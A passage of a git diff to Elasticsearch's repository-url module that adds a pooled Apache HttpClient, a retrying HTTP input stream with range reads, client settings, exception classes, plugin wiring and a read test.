class HttpResponseInputStream extends FilterInputStream { + private final HttpRequestBase request; + private final CloseableHttpResponse httpResponse; + + public HttpResponseInputStream(HttpRequestBase request, CloseableHttpResponse httpResponse) throws IOException { + super(httpResponse.getEntity() == null ? EmptyInputStream.INSTANCE : httpResponse.getEntity().getContent()); + this.request = request; + this.httpResponse = httpResponse; + } + + public void abort() { + request.abort(); + } + + @Override + public void close() throws IOException { + super.close(); + httpResponse.close(); + } + + private static class EmptyInputStream extends InputStream { + public static final EmptyInputStream INSTANCE = new EmptyInputStream(); + + private EmptyInputStream() { + } + + @Override + public int available() { + return 0; + } + + @Override + public void close() { + } + + @Override + public void mark(final int readLimit) { + } + + @Override + public boolean markSupported() { + return true; + } + + @Override + public int read() { + return -1; + } + + @Override + public int read(final byte[] buf) { + return -1; + } + + @Override + public int read(final byte[] buf, final int off, final int len) { + return -1; + } + + @Override + public void reset() { + } + + @Override + public long skip(final long n) { + return 0L; + } + } +} diff --git a/modules/repository-url/src/main/java/org/elasticsearch/common/blobstore/url/http/HttpURLBlobContainer.java b/modules/repository-url/src/main/java/org/elasticsearch/common/blobstore/url/http/HttpURLBlobContainer.java new file mode 100644 index 0000000000000..12e5677dfe479 --- /dev/null +++ b/modules/repository-url/src/main/java/org/elasticsearch/common/blobstore/url/http/HttpURLBlobContainer.java @@ -0,0 +1,61 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.common.blobstore.url.http; + +import org.elasticsearch.common.blobstore.BlobPath; +import org.elasticsearch.common.blobstore.url.URLBlobContainer; +import org.elasticsearch.common.blobstore.url.URLBlobStore; + +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.net.URI; +import java.net.URL; + +public class HttpURLBlobContainer extends URLBlobContainer { + private final URLHttpClient httpClient; + private final URLHttpClientSettings httpClientSettings; + + public HttpURLBlobContainer(URLBlobStore blobStore, + BlobPath blobPath, + URL path, + URLHttpClient httpClient, + URLHttpClientSettings httpClientSettings) { + super(blobStore, blobPath, path); + this.httpClient = httpClient; + this.httpClientSettings = httpClientSettings; + } + + @Override + public InputStream readBlob(String name, long position, long length) throws IOException { + if (length == 0) { + return new ByteArrayInputStream(new byte[0]); + } + + return new RetryingHttpInputStream(name, + getURIForBlob(name), + position, + Math.addExact(position, length) - 1, + httpClient, + httpClientSettings.getMaxRetries()); + } + + @Override + public InputStream readBlob(String name) throws IOException { + return new RetryingHttpInputStream(name, getURIForBlob(name), httpClient, httpClientSettings.getMaxRetries()); + } + + private URI getURIForBlob(String name) throws IOException { + try { + return new URL(path, name).toURI(); + } catch (Exception e) { + throw new IOException("Unable to get an URI for blob with name [" + name + "]", e); + } + } +} diff --git a/modules/repository-url/src/main/java/org/elasticsearch/common/blobstore/url/http/RetryingHttpInputStream.java b/modules/repository-url/src/main/java/org/elasticsearch/common/blobstore/url/http/RetryingHttpInputStream.java new file mode 100644 index 0000000000000..3406e20b16e61 --- /dev/null +++ b/modules/repository-url/src/main/java/org/elasticsearch/common/blobstore/url/http/RetryingHttpInputStream.java @@ -0,0 +1,297 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.common.blobstore.url.http; + +import org.apache.log4j.LogManager; +import org.apache.log4j.Logger; +import org.apache.logging.log4j.message.ParameterizedMessage; +import org.elasticsearch.core.internal.io.IOUtils; +import org.elasticsearch.rest.RestStatus; + +import java.io.IOException; +import java.io.InputStream; +import java.net.URI; +import java.nio.file.NoSuchFileException; +import java.security.AccessController; +import java.security.PrivilegedActionException; +import java.security.PrivilegedExceptionAction; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import static org.elasticsearch.common.blobstore.url.http.URLHttpClient.MAX_ERROR_MESSAGE_BODY_SIZE; + +class RetryingHttpInputStream extends InputStream { + public static final int MAX_SUPPRESSED_EXCEPTIONS = 10; + public static final long MAX_RANGE_VAL = Long.MAX_VALUE - 1; + + private final Logger logger = LogManager.getLogger(RetryingHttpInputStream.class); + + private final String blobName; + private final URI blobURI; + private final long start; + private final long end; + private final int maxRetries; + private final URLHttpClient httpClient; + + private long totalBytesRead = 0; + private long currentStreamLastOffset = 0; + private int retryCount = 0; + private boolean eof = false; + private boolean closed = false; + private HttpResponseInputStream delegate; + private List failures; + + RetryingHttpInputStream(String blobName, URI blobURI, URLHttpClient httpClient, int maxRetries) { + this(blobName, blobURI, 0, MAX_RANGE_VAL, httpClient, maxRetries); + } + + RetryingHttpInputStream(String blobName, URI blobURI, long start, long end, URLHttpClient httpClient, int maxRetries) { + if (start < 0L) { + throw new IllegalArgumentException("start must be non-negative"); + } + + if (end < start || end == Long.MAX_VALUE) { + throw new IllegalArgumentException("end must be >= start and not Long.MAX_VALUE"); + } + + this.blobName = blobName; + this.blobURI = blobURI; + this.start = start; + this.end = end; + this.httpClient = httpClient; + this.maxRetries = maxRetries; + this.totalBytesRead = 0; + this.retryCount = 0; + } + + @Override + public int read() throws IOException { + ensureOpen(); + while (true) { + try { + maybeOpenInputStream(); + int bytesRead = delegate.read(); + if (bytesRead == -1) { + eof = true; + return -1; + } + totalBytesRead += bytesRead; + return bytesRead; + } catch (IOException e) { + maybeThrow(e); + } + } + } + + @Override + public int read(byte[] b, int off, int len) throws IOException { + ensureOpen(); + while (true) { + try { + maybeOpenInputStream(); + int bytesRead = delegate.read(b, off, len); + if (bytesRead == -1) { + eof = true; + return -1; + } + totalBytesRead += bytesRead; + return bytesRead; + } catch (IOException e) { + maybeThrow(e); + } + } + } + + @Override + public long skip(long n) { + throw new UnsupportedOperationException("RetryingHttpInputStream does not support seeking"); + } + + @Override + public void reset() { + throw new UnsupportedOperationException("RetryingHttpInputStream does not support seeking"); + } + + @Override + public void close() throws IOException { + maybeAbort(delegate); + try { + if (delegate != null) { + delegate.close(); + } + } finally { + closed = true; + } + } + + private void maybeOpenInputStream() throws IOException { + if (delegate == null) { + delegate = openInputStream(); + } + } + + private void ensureOpen() { + if (closed) { + throw new IllegalStateException("Stream already closed"); + } + } + + private void maybeThrow(IOException e) throws IOException { + if (retryCount >= maxRetries || e instanceof NoSuchFileException) { + logger.debug(new ParameterizedMessage("failed reading [{}] at offset [{}], retry [{}] of [{}], giving up", + blobURI, start + totalBytesRead, retryCount, maxRetries), e); + throw addSuppressedFailures(e); + } + + logger.debug(new ParameterizedMessage("failed reading [{}] at offset [{}], retry [{}] of [{}], retrying", + blobURI, start + totalBytesRead, retryCount, maxRetries), e); + + retryCount += 1; + accumulateFailure(e); + + maybeAbort(delegate); + IOUtils.closeWhileHandlingException(delegate); + delegate = null; + } + + /** + * Since we're using pooled http connections if we want to cancel an on-going request, + * we should remove that connection from the connection pool since it cannot be reused. + */ + void maybeAbort(HttpResponseInputStream inputStream) { + if (eof || inputStream == null) { + return; + } + + try { + if (start + totalBytesRead < currentStreamLastOffset) { + inputStream.abort(); + } + } catch (Exception e) { + logger.warn("Failed to abort stream before closing", e); + } + } + + private void accumulateFailure(Exception e) { + if (failures == null) { + failures = new ArrayList<>(MAX_SUPPRESSED_EXCEPTIONS); + } + if (failures.size() < MAX_SUPPRESSED_EXCEPTIONS) { + failures.add(e); + } + } + + private IOException addSuppressedFailures(IOException e) { + if (failures == null) { + return e; + } + for (Exception failure : failures) { + e.addSuppressed(failure); + } + return e; + } + + private HttpResponseInputStream openInputStream() throws IOException { + try { + return AccessController.doPrivileged((PrivilegedExceptionAction) () -> { + final Map headers = new HashMap<>(1); + + if (isRangeRead()) { + headers.put("Range", getBytesRange(Math.addExact(start, totalBytesRead), end)); + } + + try { + final URLHttpClient.HttpResponse response = httpClient.get(blobURI, headers); + final int statusCode = response.getStatusCode(); + + if (statusCode != RestStatus.OK.getStatus() && statusCode != RestStatus.PARTIAL_CONTENT.getStatus()) { + String body = response.getBodyAsString(MAX_ERROR_MESSAGE_BODY_SIZE); + IOUtils.closeWhileHandlingException(response); + throw new IOException(getErrorMessage("The server returned an invalid response:" + + " Status code: [" + statusCode + "] - Body: " + body)); + } + + currentStreamLastOffset = Math.addExact(Math.addExact(start, totalBytesRead), getStreamLength(response)); + + return response.getInputStream(); + } catch (URLHttpClientException e) { + if (e.getStatusCode() == RestStatus.NOT_FOUND.getStatus()) { + throw new NoSuchFileException("blob object [" + blobName + "] not found"); + } else { + throw e; + } + } + }); + } catch (PrivilegedActionException e) { + final Throwable cause = e.getCause(); + if (cause instanceof IOException) { + throw (IOException) cause; + } + throw new IOException(getErrorMessage(), e); + } catch (Exception e) { + throw new IOException(getErrorMessage(), e); + } + } + + private boolean isRangeRead() { + return start > 0 || totalBytesRead > 0 || end < MAX_RANGE_VAL; + } + + private long getStreamLength(URLHttpClient.HttpResponse httpResponse) { + try { + final String contentRange = httpResponse.getHeader("Content-Range"); + if (contentRange != null) { + final String[] contentRangeTokens = contentRange.split("[ -/]+"); + assert contentRangeTokens.length == 4 : "Unexpected Content-Range header " + Arrays.toString(contentRangeTokens); + + long lowerBound = Long.parseLong(contentRangeTokens[1]); + long upperBound = Long.parseLong(contentRangeTokens[2]); + + assert upperBound >= lowerBound : "Incorrect Content-Range: lower bound > upper bound " + lowerBound + "-" + upperBound; + assert lowerBound == start + totalBytesRead : "Incorrect Content-Range: lower bound != specified lower bound"; + assert upperBound == end || upperBound <= MAX_RANGE_VAL : + "Incorrect Content-Range: the returned upper bound is incorrect, expected [" + end + "] " + + "got [" + upperBound + "]"; + + return upperBound - lowerBound + 1; + } + + final String contentLength = httpResponse.getHeader("Content-Length"); + return contentLength == null ? 0 : Long.parseLong(contentLength); + + } catch (Exception e) { + logger.debug(new ParameterizedMessage("Unable to parse response headers while reading [{}]", blobURI), e); + return MAX_RANGE_VAL; + } + } + + private static String getBytesRange(long lowerBound, long upperInclusiveBound) { + return "bytes=" + lowerBound + "-" + upperInclusiveBound; + } + + private String getErrorMessage() { + return getErrorMessage(""); + } + + private String getErrorMessage(String extraInformation) { + String errorMessage = "Unable to read blob [" + blobName + "]"; + if (isRangeRead()) { + errorMessage += " range[" + start + " - " + end + "]"; + } + + if (extraInformation.isBlank() == false) { + errorMessage += " " + extraInformation; + } + + return errorMessage; + } +} diff --git a/modules/repository-url/src/main/java/org/elasticsearch/common/blobstore/url/http/URLHttpClient.java b/modules/repository-url/src/main/java/org/elasticsearch/common/blobstore/url/http/URLHttpClient.java new file mode 100644 index 0000000000000..1241266973f22 --- /dev/null +++ b/modules/repository-url/src/main/java/org/elasticsearch/common/blobstore/url/http/URLHttpClient.java @@ -0,0 +1,223 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.common.blobstore.url.http; + +import org.apache.http.Header; +import org.apache.http.HeaderElement; +import org.apache.http.HttpEntity; +import org.apache.http.NameValuePair; +import org.apache.http.client.config.RequestConfig; +import org.apache.http.client.methods.CloseableHttpResponse; +import org.apache.http.client.methods.HttpGet; +import org.apache.http.impl.client.CloseableHttpClient; +import org.apache.http.impl.client.HttpClients; +import org.apache.http.impl.conn.PoolingHttpClientConnectionManager; +import org.apache.http.ssl.SSLContexts; +import org.apache.log4j.LogManager; +import org.apache.log4j.Logger; +import org.elasticsearch.common.Nullable; +import org.elasticsearch.common.io.Streams; +import org.elasticsearch.core.internal.io.IOUtils; +import org.elasticsearch.rest.RestStatus; + +import java.io.Closeable; +import java.io.IOException; +import java.io.InputStream; +import java.net.URI; +import java.nio.charset.Charset; +import java.nio.charset.StandardCharsets; +import java.util.Map; + +public class URLHttpClient implements Closeable { + public static final int MAX_ERROR_MESSAGE_BODY_SIZE = 1024; + private static final int MAX_CONNECTIONS = 50; + private final Logger logger = LogManager.getLogger(URLHttpClient.class); + + private final CloseableHttpClient client; + private final URLHttpClientSettings httpClientSettings; + + public static class Factory implements Closeable { + private final PoolingHttpClientConnectionManager connManager; + + public Factory() { + this.connManager = new PoolingHttpClientConnectionManager(); + connManager.setDefaultMaxPerRoute(MAX_CONNECTIONS); + connManager.setMaxTotal(MAX_CONNECTIONS); + } + + public URLHttpClient create(URLHttpClientSettings settings) { + final CloseableHttpClient apacheHttpClient = HttpClients.custom() + .setSSLContext(SSLContexts.createSystemDefault()) + .setConnectionManager(connManager) + .disableAutomaticRetries() + .setConnectionManagerShared(true) + .build(); + + return new URLHttpClient(apacheHttpClient, settings); + } + + @Override + public void close() { + connManager.close(); + } + } + + public URLHttpClient(CloseableHttpClient client, URLHttpClientSettings httpClientSettings) { + this.client = client; + this.httpClientSettings = httpClientSettings; + } + + /** + * Executes a GET Http request against the given {@code uri}, if the response it is not + * successful (2xx status code) it throws an {@link URLHttpClientException}. If there's + * an IO error it throws an {@link URLHttpClientIOException}. + */ + public HttpResponse get(URI uri, Map headers) throws IOException { + final HttpGet request = new HttpGet(uri); + for (Map.Entry headerEntry : headers.entrySet()) { + request.setHeader(headerEntry.getKey(), headerEntry.getValue()); + } + + final RequestConfig requestConfig = RequestConfig.custom() + .setSocketTimeout(httpClientSettings.getSocketTimeoutMs()) + .setConnectionRequestTimeout(httpClientSettings.getConnectionPoolTimeoutMs()) + .setConnectTimeout(httpClientSettings.getConnectionTimeoutMs()) + .build(); + request.setConfig(requestConfig); + + try { + return executeRequest(request); + } catch (IOException e) { + throw new URLHttpClientIOException(e.getMessage(), e); + } + } + + private HttpResponse executeRequest(HttpGet request) throws IOException { + final CloseableHttpResponse response = client.execute(request); + + final int statusCode = response.getStatusLine().getStatusCode(); + + if (isSuccessful(statusCode) == false) { + handleInvalidResponse(response); + } + + return new HttpResponse() { + @Override + public HttpResponseInputStream getInputStream() throws IOException { + try { + return new HttpResponseInputStream(request, response); + } catch (IOException e) { + // Release the underlying connection in case of failure + IOUtils.closeWhileHandlingException(response); + throw e; + } + } + + @Override + public String getBodyAsString(int maxSize) { + return parseBodyAsString(response, maxSize); + } + + @Override + public int getStatusCode() { + return statusCode; + } + + @Override + public String getHeader(String headerName) { + final Header header = response.getFirstHeader(headerName); + return header == null ? null : header.getValue(); + } + + @Override + public void close() throws IOException { + response.close(); + } + }; + } + + private void handleInvalidResponse(CloseableHttpResponse response) { + int statusCode = response.getStatusLine().getStatusCode(); + String errorBody = parseBodyAsString(response, MAX_ERROR_MESSAGE_BODY_SIZE); + throw new URLHttpClientException(statusCode, createErrorMessage(statusCode, errorBody)); + } + + static String createErrorMessage(int statusCode, String errorMessage) { + if (errorMessage.isEmpty() == false) { + return statusCode + ": " + errorMessage; + } else { + return Integer.toString(statusCode); + } + } + + private String parseBodyAsString(CloseableHttpResponse response, int maxSize) { + String errorMessage = ""; + InputStream bodyContent = null; + try { + final HttpEntity httpEntity = response.getEntity(); + if (httpEntity != null && isValidContentTypeToParseError(httpEntity)) { + // Safeguard to avoid storing large error messages in memory + byte[] errorBodyBytes = new byte[(int) Math.min(httpEntity.getContentLength(), maxSize)]; + bodyContent = httpEntity.getContent(); + int bytesRead = Streams.readFully(bodyContent, errorBodyBytes); + if (bytesRead > 0) { + final Charset utf = getCharset(httpEntity); + errorMessage = new String(errorBodyBytes, utf); + } + } + } catch (Exception e) { + logger.warn("Unable to parse HTTP body to produce an error response", e); + } finally { + IOUtils.closeWhileHandlingException(bodyContent); + IOUtils.closeWhileHandlingException(response); + } + return errorMessage; + } + + private Charset getCharset(HttpEntity httpEntity) { + final Header contentType = httpEntity.getContentType(); + if (contentType == null) { + return StandardCharsets.UTF_8; + } + for (HeaderElement element : contentType.getElements()) { + final NameValuePair charset = element.getParameterByName("charset"); + if (charset != null) { + return Charset.forName(charset.getValue()); + } + } + // Fallback to UTF-8 and try to encode the error message with that + return StandardCharsets.UTF_8; + } + + private boolean isValidContentTypeToParseError(HttpEntity httpEntity) { + Header contentType = httpEntity.getContentType(); + return contentType != null && httpEntity.getContentLength() > 0 && + (contentType.getValue().startsWith("text/") || contentType.getValue().startsWith("application/")); + } + + private boolean isSuccessful(int statusCode) { + return statusCode / 100 == RestStatus.OK.getStatus() / 100; + } + + @Override + public void close() throws IOException { + client.close(); + } + + interface HttpResponse extends Closeable { + HttpResponseInputStream getInputStream() throws IOException; + + int getStatusCode(); + + String getBodyAsString(int maxSize); + + @Nullable + String getHeader(String headerName); + } +} diff --git a/modules/repository-url/src/main/java/org/elasticsearch/common/blobstore/url/http/URLHttpClientException.java b/modules/repository-url/src/main/java/org/elasticsearch/common/blobstore/url/http/URLHttpClientException.java new file mode 100644 index 0000000000000..52800c52b4eb8 --- /dev/null +++ b/modules/repository-url/src/main/java/org/elasticsearch/common/blobstore/url/http/URLHttpClientException.java @@ -0,0 +1,22 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.common.blobstore.url.http; + +public class URLHttpClientException extends RuntimeException { + private final int statusCode; + + public URLHttpClientException(int statusCode, String message) { + super(message); + this.statusCode = statusCode; + } + + public int getStatusCode() { + return statusCode; + } +} diff --git a/modules/repository-url/src/main/java/org/elasticsearch/common/blobstore/url/http/URLHttpClientIOException.java b/modules/repository-url/src/main/java/org/elasticsearch/common/blobstore/url/http/URLHttpClientIOException.java new file mode 100644 index 0000000000000..9768ffdb47434 --- /dev/null +++ b/modules/repository-url/src/main/java/org/elasticsearch/common/blobstore/url/http/URLHttpClientIOException.java @@ -0,0 +1,17 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.common.blobstore.url.http; + +import java.io.IOException; + +public class URLHttpClientIOException extends IOException { + public URLHttpClientIOException(String message, Throwable cause) { + super(message, cause); + } +} diff --git a/modules/repository-url/src/main/java/org/elasticsearch/common/blobstore/url/http/URLHttpClientSettings.java b/modules/repository-url/src/main/java/org/elasticsearch/common/blobstore/url/http/URLHttpClientSettings.java new file mode 100644 index 0000000000000..435f5987f5546 --- /dev/null +++ b/modules/repository-url/src/main/java/org/elasticsearch/common/blobstore/url/http/URLHttpClientSettings.java @@ -0,0 +1,78 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.common.blobstore.url.http; + +import org.elasticsearch.common.settings.Setting; +import org.elasticsearch.common.settings.Settings; +import org.elasticsearch.common.unit.TimeValue; + +import java.util.concurrent.TimeUnit; + +public class URLHttpClientSettings { + public static final int DEFAULT_MAX_RETRIES = 5; + public static final int DEFAULT_CONNECTION_POOL_TIMEOUT_MILLIS = (int) TimeUnit.SECONDS.toMillis(10); + public static final int DEFAULT_CONNECTION_TIMEOUT_MILLIS = (int) TimeUnit.SECONDS.toMillis(10); + public static final int DEFAULT_SOCKET_TIMEOUT_MILLIS = (int) TimeUnit.SECONDS.toMillis(50); + + static final Setting SOCKET_TIMEOUT_SETTING = Setting.timeSetting( + "http_socket_timeout", + TimeValue.timeValueMillis(URLHttpClientSettings.DEFAULT_SOCKET_TIMEOUT_MILLIS), + TimeValue.timeValueMillis(1), + TimeValue.timeValueMinutes(60)); + + static final Setting HTTP_MAX_RETRIES_SETTING = Setting.intSetting( + "http_max_retries", + URLHttpClientSettings.DEFAULT_MAX_RETRIES, + 0, + Integer.MAX_VALUE); + + private int maxRetries = DEFAULT_MAX_RETRIES; + private int connectionPoolTimeoutMs = DEFAULT_CONNECTION_POOL_TIMEOUT_MILLIS; + private int connectionTimeoutMs = DEFAULT_CONNECTION_TIMEOUT_MILLIS; + private int socketTimeoutMs = DEFAULT_SOCKET_TIMEOUT_MILLIS; + + public static URLHttpClientSettings fromSettings(Settings settings) { + final URLHttpClientSettings httpClientSettings = new URLHttpClientSettings(); + httpClientSettings.setSocketTimeoutMs((int) SOCKET_TIMEOUT_SETTING.get(settings).millis()); + httpClientSettings.setMaxRetries(HTTP_MAX_RETRIES_SETTING.get(settings)); + return httpClientSettings; + } + + public void setMaxRetries(int maxRetries) { + this.maxRetries = maxRetries; + } + + public void setConnectionPoolTimeoutMs(int connectionPoolTimeoutMs) { + this.connectionPoolTimeoutMs = connectionPoolTimeoutMs; + } + + public void setConnectionTimeoutMs(int connectionTimeoutMs) { + this.connectionTimeoutMs = connectionTimeoutMs; + } + + public void setSocketTimeoutMs(int socketTimeoutMs) { + this.socketTimeoutMs = socketTimeoutMs; + } + + public int getMaxRetries() { + return maxRetries; + } + + public int getConnectionPoolTimeoutMs() { + return connectionPoolTimeoutMs; + } + + public int getConnectionTimeoutMs() { + return connectionTimeoutMs; + } + + public int getSocketTimeoutMs() { + return socketTimeoutMs; + } +} diff --git a/modules/repository-url/src/main/java/org/elasticsearch/plugin/repository/url/URLRepositoryPlugin.java b/modules/repository-url/src/main/java/org/elasticsearch/plugin/repository/url/URLRepositoryPlugin.java index 7c909cd6b2350..2393fd990b219 100644 --- a/modules/repository-url/src/main/java/org/elasticsearch/plugin/repository/url/URLRepositoryPlugin.java +++ b/modules/repository-url/src/main/java/org/elasticsearch/plugin/repository/url/URLRepositoryPlugin.java @@ -8,23 +8,38 @@ package org.elasticsearch.plugin.repository.url; +import org.apache.lucene.util.SetOnce; +import org.elasticsearch.client.Client; +import org.elasticsearch.cluster.metadata.IndexNameExpressionResolver; import org.elasticsearch.cluster.service.ClusterService; +import org.elasticsearch.common.blobstore.url.http.URLHttpClient; +import org.elasticsearch.common.io.stream.NamedWriteableRegistry; import org.elasticsearch.common.settings.Setting; import org.elasticsearch.common.util.BigArrays; import org.elasticsearch.common.xcontent.NamedXContentRegistry; +import org.elasticsearch.core.internal.io.IOUtils; import org.elasticsearch.env.Environment; +import org.elasticsearch.env.NodeEnvironment; import org.elasticsearch.indices.recovery.RecoverySettings; import org.elasticsearch.plugins.Plugin; import org.elasticsearch.plugins.RepositoryPlugin; +import org.elasticsearch.repositories.RepositoriesService; import org.elasticsearch.repositories.Repository; import org.elasticsearch.repositories.url.URLRepository; +import org.elasticsearch.script.ScriptService; +import org.elasticsearch.threadpool.ThreadPool; +import org.elasticsearch.watcher.ResourceWatcherService; +import java.io.IOException; import java.util.Arrays; +import java.util.Collection; import java.util.Collections; import java.util.List; import java.util.Map; +import java.util.function.Supplier; public class URLRepositoryPlugin extends Plugin implements RepositoryPlugin { + private final SetOnce httpClientFactory = new SetOnce<>(); @Override public List> getSettings() { @@ -40,6 +55,40 @@ public Map getRepositories(Environment env, NamedXCo ClusterService clusterService, BigArrays bigArrays, RecoverySettings recoverySettings) { return Collections.singletonMap(URLRepository.TYPE, - metadata -> new URLRepository(metadata, env, namedXContentRegistry, clusterService, bigArrays, recoverySettings)); + metadata -> { + assert httpClientFactory.get() != null : "Expected to get a configured http client factory"; + return new URLRepository(metadata, + env, + namedXContentRegistry, + clusterService, + bigArrays, + recoverySettings, + httpClientFactory.get()); + }); + } + + @Override + public Collection createComponents(Client client, + ClusterService clusterService, + ThreadPool threadPool, + ResourceWatcherService resourceWatcherService, + ScriptService scriptService, + NamedXContentRegistry xContentRegistry, + Environment environment, + NodeEnvironment nodeEnvironment, + NamedWriteableRegistry namedWriteableRegistry, + IndexNameExpressionResolver indexNameExpressionResolver, + Supplier repositoriesServiceSupplier) { + + final URLHttpClient.Factory apacheURLHttpClientFactory = new URLHttpClient.Factory(); + + httpClientFactory.set(apacheURLHttpClientFactory); + return List.of(apacheURLHttpClientFactory); + } + + @Override + public void close() throws IOException { + super.close(); + IOUtils.closeWhileHandlingException(httpClientFactory.get()); } } diff --git a/modules/repository-url/src/main/java/org/elasticsearch/repositories/url/URLRepository.java b/modules/repository-url/src/main/java/org/elasticsearch/repositories/url/URLRepository.java index 643eeedb8273e..216978fd1e405 100644 --- a/modules/repository-url/src/main/java/org/elasticsearch/repositories/url/URLRepository.java +++ b/modules/repository-url/src/main/java/org/elasticsearch/repositories/url/URLRepository.java @@ -15,12 +15,15 @@ import org.elasticsearch.common.blobstore.BlobContainer; import org.elasticsearch.common.blobstore.BlobPath; import org.elasticsearch.common.blobstore.BlobStore; +import org.elasticsearch.common.blobstore.url.http.URLHttpClientSettings; import org.elasticsearch.common.blobstore.url.URLBlobStore; +import org.elasticsearch.common.blobstore.url.http.URLHttpClient; import org.elasticsearch.common.settings.Setting; import org.elasticsearch.common.settings.Setting.Property; import org.elasticsearch.common.util.BigArrays; import org.elasticsearch.common.util.URIPattern; import org.elasticsearch.common.xcontent.NamedXContentRegistry; +import org.elasticsearch.core.internal.io.IOUtils; import org.elasticsearch.env.Environment; import org.elasticsearch.indices.recovery.RecoverySettings; import org.elasticsearch.repositories.RepositoryException; @@ -73,13 +76,17 @@ public class URLRepository extends BlobStoreRepository { private final URL url; + private final URLHttpClient httpClient; + + private final URLHttpClientSettings httpClientSettings; + /** * Constructs a read-only URL-based repository */ public URLRepository(RepositoryMetadata metadata, Environment environment, NamedXContentRegistry namedXContentRegistry, ClusterService clusterService, BigArrays bigArrays, - RecoverySettings recoverySettings) { - super(metadata, namedXContentRegistry, clusterService, bigArrays, recoverySettings, BlobPath.cleanPath()); + RecoverySettings recoverySettings, URLHttpClient.Factory httpClientFactory) { + super(metadata, namedXContentRegistry, clusterService, bigArrays, recoverySettings, BlobPath.EMPTY); if (URL_SETTING.exists(metadata.settings()) == false && REPOSITORIES_URL_SETTING.exists(environment.settings()) == false) { throw new RepositoryException(metadata.name(), "missing url"); @@ -89,12 +96,15 @@ public URLRepository(RepositoryMetadata metadata, Environment environment, urlWhiteList = ALLOWED_URLS_SETTING.get(environment.settings()).toArray(new URIPattern[]{}); url = URL_SETTING.exists(metadata.settings()) ? URL_SETTING.get(metadata.settings()) : REPOSITORIES_URL_SETTING.get(environment.settings()); + + this.httpClientSettings = URLHttpClientSettings.fromSettings(metadata.settings()); + this.httpClient = httpClientFactory.create(httpClientSettings); } @Override protected BlobStore createBlobStore() { URL normalizedURL = checkURL(url); - return new URLBlobStore(environment.settings(), normalizedURL); + return new URLBlobStore(environment.settings(), normalizedURL, httpClient, httpClientSettings); } // only use for testing @@ -156,4 +166,9 @@ private static URL parseURL(String s) { throw new IllegalArgumentException("Unable to parse URL repository setting", e); } } + + @Override + protected void doClose() { + IOUtils.closeWhileHandlingException(httpClient); + } } diff --git a/modules/repository-url/src/test/java/org/elasticsearch/common/blobstore/url/AbstractURLBlobStoreTests.java b/modules/repository-url/src/test/java/org/elasticsearch/common/blobstore/url/AbstractURLBlobStoreTests.java new file mode 100644 index 0000000000000..6f3621b0771db --- /dev/null +++ b/modules/repository-url/src/test/java/org/elasticsearch/common/blobstore/url/AbstractURLBlobStoreTests.java @@ -0,0 +1,64 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.common.blobstore.url; + +import org.elasticsearch.common.UUIDs; +import org.elasticsearch.common.blobstore.BlobContainer; +import org.elasticsearch.common.bytes.BytesArray; +import org.elasticsearch.common.bytes.BytesReference; +import org.elasticsearch.common.io.Streams; +import org.elasticsearch.test.ESTestCase; + +import java.io.IOException; +import java.io.InputStream; +import java.nio.file.NoSuchFileException; +import java.util.Locale; + +import static org.hamcrest.core.IsEqual.equalTo; + +public abstract class AbstractURLBlobStoreTests extends ESTestCase { + abstract BytesArray getOriginalData(); + + abstract BlobContainer getBlobContainer(); + + abstract String getBlobName(); + + public void testURLBlobStoreCanReadBlob() throws IOException { + BytesArray data = getOriginalData(); + String blobName = getBlobName(); + BlobContainer container = getBlobContainer(); + try (InputStream stream = container.readBlob(blobName)) { + BytesReference bytesRead = Streams.readFully(stream); + assertThat(data, equalTo(bytesRead)); + } + } + + public void testURLBlobStoreCanReadBlobRange() throws IOException { + BytesArray data = getOriginalData(); + String blobName = getBlobName(); + BlobContainer container = getBlobContainer(); + int position = randomIntBetween(0, data.length() - 1); + int length = randomIntBetween(1, data.length() - position); + try (InputStream stream = container.readBlob(blobName, position, length)) { + BytesReference bytesRead = Streams.readFully(stream); + assertThat(data.slice(position, length), equalTo(bytesRead)); + } + } + + public void testNoBlobFound() throws IOException { + BlobContainer container = getBlobContainer(); + String incorrectBlobName = UUIDs.base64UUID(); + try (InputStream ignored = container.readBlob(incorrectBlobName)) { + ignored.read(); + fail("Should have thrown NoSuchFileException exception"); + } catch (NoSuchFileException e) { + assertEquals(String.format(Locale.ROOT, "blob object [%s] not found", incorrectBlobName), e.getMessage()); + } + } +} diff --git a/modules/repository-url/src/test/java/org/elasticsearch/common/blobstore/url/FileURLBlobStoreTests.java b/modules/repository-url/src/test/java/org/elasticsearch/common/blobstore/url/FileURLBlobStoreTests.java new file mode 100644 index 0000000000000..148898793f78b --- /dev/null +++ 